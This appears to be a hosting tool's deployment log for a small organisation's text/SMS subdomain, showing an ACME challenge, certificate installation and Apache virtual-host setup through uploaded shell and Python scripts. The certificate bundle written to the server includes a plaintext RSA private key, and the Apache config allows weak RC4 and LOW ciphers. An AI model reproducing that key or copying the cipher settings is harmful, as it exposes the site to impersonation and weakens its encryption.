RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-06-24 06:00:52: Establishing a connection
2026-06-24 06:00:52: Establishing a connection
2026-06-24 06:00:52: 

PUT: /tmp/pkp586627

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_text/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-24 06:00:53: 

chmod 755 /tmp/pkp586627; /tmp/pkp586627; rm /tmp/pkp586627

2026-06-24 06:00:53: 


1


2026-06-24 06:00:53: Establishing a connection
2026-06-24 06:00:54: 

PUT: /tmp/pkp205205

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cat > nZvOT0nyJeqcCQgC8DUXFMcn_9tDxm2QEfVlF1uTWvI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
nZvOT0nyJeqcCQgC8DUXFMcn_9tDxm2QEfVlF1uTWvI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 nZvOT0nyJeqcCQgC8DUXFMcn_9tDxm2QEfVlF1uTWvI
cat > fWaJO5c6NKuRKeEK_rP9YTxg941u6YOO3LVeMgLtfI4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
fWaJO5c6NKuRKeEK_rP9YTxg941u6YOO3LVeMgLtfI4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 fWaJO5c6NKuRKeEK_rP9YTxg941u6YOO3LVeMgLtfI4


2026-06-24 06:00:54: 

chmod 755 /tmp/pkp205205; /tmp/pkp205205; rm /tmp/pkp205205

2026-06-24 06:00:54: 




2026-06-24 06:01:05: Establishing a connection
2026-06-24 06:01:05: 

PUT: /tmp/pkp874851

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
rm nZvOT0nyJeqcCQgC8DUXFMcn_9tDxm2QEfVlF1uTWvI
rm fWaJO5c6NKuRKeEK_rP9YTxg941u6YOO3LVeMgLtfI4


2026-06-24 06:01:05: 

chmod 755 /tmp/pkp874851; /tmp/pkp874851; rm /tmp/pkp874851

2026-06-24 06:01:05: 




2026-06-24 06:01:05: Establishing a connection
2026-06-24 06:01:05: 

PUT: /tmp/pkp711580

#!/bin/bash
temp_file=$(mktemp)
TARGET=94911c6cf6fdc3591c65d93ede1a6ecb.crt

cat > $temp_file <<'endmsg'
73:78:5d:9c:99:d8:9c:05:ae:47:16:63:09:ed:2f:38

-----BEGIN CERTIFICATE-----
MIIFIzCCBAugAwIBAgISBXNDs2V7FMAon6GddXKQAkVuMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjI0MDUwMjMzWhcNMjYwOTIyMDUwMjMyWjAjMSEwHwYDVQQD
Exh0ZXh0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDEJcMvZoiLxRCV2AW8tD7IuqNkO6fTWJzFDirPpSV7tMCRoMD/
zlIjCFm5cSbTPHXmmbtinOSXqT3XEdMvR3yFXPoiosJdQIHYh9EbCt3PkemGwHqT
V8cbnvScQfAC6sfNyIpqlW6VqPms+g3yO4U+AWE+UlzyZhgFsn0NLDYNfFLWnEnQ
ZsEBc/wZyR+EFuwFs/ia1kNudIS6lub/vx4g7xJfPpHvFufXQ0QUShIn0WbQvnZ+
BPVPqxmSNP0v58GWDqzznsK7blDphs0xacYUhHWhRax2212wMjlKeZt57UMsB8BC
VxvDeyp0UBlxtXo9QK3j8jvh4G7AnSJWEsGPAgMBAAGjggI/MIICOzAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU5imuphsI5fhNCOTUWfLU+YQsc7EwHwYDVR0jBBgwFoAUQBUtJnntMiCe
35pyHdYyH4EMgQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
eXIyLmkubGVuY3Iub3JnLzA8BgNVHREENTAzghdzbXMuaG9wZWluc3RvdWdodG9u
Lm9yZ4IYdGV4dC5ob3BlaW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly95cjIuYy5sZW5jci5vcmcvMTEx
LmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA9wB1ANdtfRDRp/V3wsfpX9cAv/mC
yTNaZeHQswFzF8DIxWl3AAABnvg3wTcAAAQDAEYwRAIgdDLsd8SNcuHnACh65k3r
9NRztYmsoFnKt1EqLKVDN04CIAt1vhuPew8nmP9rRn1dB7MlE06x20eHyadr2KAr
EHnAAH4AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGe+DfEDQAI
AAAFABDWZgsEAwBHMEUCIQCFBw/vEEHeNEg9wEMGUCvTGKXDJci+YXULv4cYL8Nt
eAIgK4uzh8MaQudsGoJzdClAjQolmtnYqR/G5DJ10GzLYbowDQYJKoZIhvcNAQEL
BQADggEBADE/uQhtvH6YF1nU52ATUOUC9pWHq6Iikl4k8Z0PXAJnNeYYlVoINCgq
+FpNl4Lr1ardKBKXLIHw3uKPEseM4qRSsoPM7sbL10w3Uu48EzZzfPIzZb1hpXrj
UnrKSfkXqtO+mdGKcLNRcCvZKX04RLfOEwqOmRfCmMXNT31KHYgFAYywPNwkQBiY
MIUhFftsQEOy3rf1PXbErymj5VXFV7VQiczly6UApRpDlEDvlCW2byGN67shXuo5
VGcq0QMaSXAumH6GuwdTBgbe+iefYnZXJYA0Gx8vkGgwUqXUqNF+WYAXbdSde+W9
TmHfSPgdVSVyB+4WqbeXUYUmdNYFsng=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDEJcMvZoiLxRCV
2AW8tD7IuqNkO6fTWJzFDirPpSV7tMCRoMD/zlIjCFm5cSbTPHXmmbtinOSXqT3X
EdMvR3yFXPoiosJdQIHYh9EbCt3PkemGwHqTV8cbnvScQfAC6sfNyIpqlW6VqPms
+g3yO4U+AWE+UlzyZhgFsn0NLDYNfFLWnEnQZsEBc/wZyR+EFuwFs/ia1kNudIS6
lub/vx4g7xJfPpHvFufXQ0QUShIn0WbQvnZ+BPVPqxmSNP0v58GWDqzznsK7blDp
hs0xacYUhHWhRax2212wMjlKeZt57UMsB8BCVxvDeyp0UBlxtXo9QK3j8jvh4G7A
nSJWEsGPAgMBAAECggEAMZE/aW+WSwfiQJOmI4FDKnOrza0bpJeMimmhnPalacUM
MuD2VM6dSBgYoHm9L31kaAFqbqmqRL8yjvKEtTpx97u+xFjwGCOwjHkJ+TT+R7Ge
W3yxnSF+Afdh5kjtb7dIBbNLc1LO7sgUTEemlZPAAKLVoaurrF/rayknW9hT0oUq
D967lPFJSNfODnFXsBG+lQtvmZsvzuWRoSri+1dna9g6bcFmz7udimfi0hrlwnty
fOUfRtD0inCSh9OVIrGvFvxy0Q0+lVZK0K+hlAvByHJ4gB0JTbam2pVYZ/OC3elC
LlV2q8fhR6oRjjjvpaf4UJNa097fB8/2jlcNW1UBoQKBgQD3xhLMQK0/Q91nmWed
0KCBeGpNgJUud1ey2iaBYSKgaZ3P94dgMXoP1123G+6AuOtfSjOLUHj/ZHryKAN1
g3vu1qU1kbFa56MV89litgGWnNB/uy7BEXhkjL/v7phIrHTFXuwt34rux4xF6JNJ
tkjcjWrZti+4IkP9IiZeu5LkrwKBgQDKqOW/4RhbxGNc83TByhH8e2cyoDhjazFe
xrerWkxoxGxQR03D38heMaHnrNQrfhsGqZFWr6BELJJdJ43lpqx8Ro5/d4FREJkX
aF2M7StU7P+iO8sUEZWSiRGlbVk1ClM20ZqGRWtzAY3opTQ3GGJUVRjOzcP0JyFd
fw9tagDpIQKBgQDBLkzPtYmeLvJ76K5R7CyIZXM0VBF8Ng5JYy7sZuiRe2dQk2SY
Slsp6LenoX52HDdfh0Hi1+5O6W+2SB5STB6fm/kZaCuIfdu4rPQLs25PmJozTKTq
YQ2mD9tCXZub5eHxVM3+AjGXdDvY8bmMmjP6ycPKVPKltQmfXjXeXI7t/wKBgQC9
DocWU5T3tuPDCNM5HZtd4HlLPzCbfppWAifB0MFLU0KAOaSQQCmZxc92Y0KjOEda
FcIiDkECmFoKUSYMwUpTvTaeLwwSZduLfK8ZEv/DgDySShmPJUBVrU0q+DGqS3GJ
yEvRSt2MMj0CdWuaokLIzYIRGt/c2sxDfo8T0Tn8QQKBgQD281Wzc8xxWjTBwyya
Bcu2vuMykEPPMAEYn/bgkFMknwCwXuGr//n9AvANpMYlOIEbMrExyhgterU+YZQT
+mpH4AJtplksJ6b7Fh9mcwAQyH4SndjK9AltBm5BbyyvBDeUPk4kTOvw30yg+net
aBcz4DdFDs3PdoqiUfWtyAtEaA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-24 06:01:05: 

chmod 755 /tmp/pkp711580; /tmp/pkp711580; rm /tmp/pkp711580

2026-06-24 06:01:05: 


dir=/etc/ssl/certs


2026-06-24 06:01:05: 

PUT: /tmp/pkp324906

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-24 06:01:05: 

chmod 755 /tmp/pkp324906; /tmp/pkp324906; rm /tmp/pkp324906

2026-06-24 06:01:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf 58

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-24 06:01:05: 

PUT: /tmp/pkp639026

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_text_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf= 1'
fi


2026-06-24 06:01:05: 

chmod 755 /tmp/pkp639026; /tmp/pkp639026; rm /tmp/pkp639026

2026-06-24 06:01:06: 




2026-06-24 06:01:06: 

PUT: /tmp/pkp535369

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-24 06:01:06: 

chmod 755 /tmp/pkp535369; /tmp/pkp535369; rm /tmp/pkp535369

2026-06-24 06:01:06: 


.


2026-06-24 06:01:06: Establishing a connection
2026-06-24 06:01:06: 

PUT: /tmp/pkp582706

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-24 06:01:06: 

chmod 755 /tmp/pkp582706; /tmp/pkp582706; rm /tmp/pkp582706

2026-06-24 06:01:06: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server venus (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost venus (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
                 alias list.stoughton.link
         port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
                 alias sms.hopeinstoughton.org
         port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
                 alias venus.hostz.org
                 alias mail.emessage.email
*:443                  is a NameVirtualHost
         default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
                 alias sms.hopeinstoughton.org
         port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
                 alias venus.hostz.org
                 alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-06-24 06:01:06: 

PUT: /tmp/pkp672234

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-24 06:01:06: 

chmod 755 /tmp/pkp672234; /tmp/pkp672234; rm /tmp/pkp672234

2026-06-24 06:01:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf	1461

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-24 06:01:06: 

PUT: /tmp/pkp625618

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-24 06:01:06: 

chmod 755 /tmp/pkp625618; /tmp/pkp625618; rm /tmp/pkp625618

2026-06-24 06:01:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt	7477
73:78:5d:9c:99:d8:9c:05:ae:47:16:63:09:ed:2f:38

-----BEGIN CERTIFICATE-----
MIIFIzCCBAugAwIBAgISBXNDs2V7FMAon6GddXKQAkVuMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjI0MDUwMjMzWhcNMjYwOTIyMDUwMjMyWjAjMSEwHwYDVQQD
